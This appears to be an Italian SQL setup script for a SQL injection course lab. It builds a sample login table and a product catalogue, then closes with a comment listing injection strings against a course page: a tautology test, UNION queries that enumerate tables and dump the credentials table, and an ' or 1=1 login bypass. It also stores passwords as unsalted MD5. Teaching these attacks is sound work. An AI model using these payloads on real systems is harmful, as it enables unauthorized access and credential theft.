/* creazione e popolazione DB di esempio */ /*Accesso*/ CREATE TABLE `test`.`Accesso` ( `id` INT NOT NULL AUTO_INCREMENT, `username` VARCHAR(45) NOT NULL, `password` VARCHAR(45) NOT NULL, PRIMARY KEY (`id`)); insert into test.Accesso (username, password) value ('filippo', md5('filippopassword')); /* articoli */ CREATE TABLE `test`.`articoli` ( `id` INT NOT NULL AUTO_INCREMENT, `tipo` VARCHAR(45) NULL, `descrizione` VARCHAR(45) NULL, PRIMARY KEY (`id`)); INSERT INTO `articoli` (`id`,`tipo`,`descrizione`) VALUES (1,'Cucina','Lorem ipsum 1 '); INSERT INTO `articoli` (`id`,`tipo`,`descrizione`) VALUES (2,'Cucina ','Lorem ipsum 2'); INSERT INTO `articoli` (`id`,`tipo`,`descrizione`) VALUES (3,'Cucina ','Lorem ipsum 3'); INSERT INTO `articoli` (`id`,`tipo`,`descrizione`) VALUES (4,'Cucina ','Lorem ipsum 4'); INSERT INTO `articoli` (`id`,`tipo`,`descrizione`) VALUES (5,'Cucina ','Lorem ipsum 5'); INSERT INTO `articoli` (`id`,`tipo`,`descrizione`) VALUES (6,'Sala','E tamquam loret 1'); INSERT INTO `articoli` (`id`,`tipo`,`descrizione`) VALUES (7,'Sala','E tamquam loret 2'); INSERT INTO `articoli` (`id`,`tipo`,`descrizione`) VALUES (8,'Sala','E tamquam loret 3'); INSERT INTO `articoli` (`id`,`tipo`,`descrizione`) VALUES (9,'Sala','E tamquam loret 4'); INSERT INTO `articoli` (`id`,`tipo`,`descrizione`) VALUES (10,'Sala','E tamquam loret 5'); INSERT INTO `articoli` (`id`,`tipo`,`descrizione`) VALUES (11,'Sala','E tamquam loret 6'); /* attacco a partire dalla pagina di catalogo in get https://corso.dcinfo.it/C_SQLInjection/magazzino.php?tipo=sala attack string per la get --> scopro se รจ sensibile alla SQL Injection https://corso.dcinfo.it/C_SQLInjection/magazzino.php?tipo=sala'+OR+'1=1 --> scopro le tabelle tipo=' UNION SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE FROM information_schema.tables; -- '' --> scopro il contenuto delle tabelle sala' UNION SELECT * FROM Accesso -- ' --> accedo al backoffice https://corso.dcinfo.it/C_SQLInjection/entra.html ' or 1=1; -- '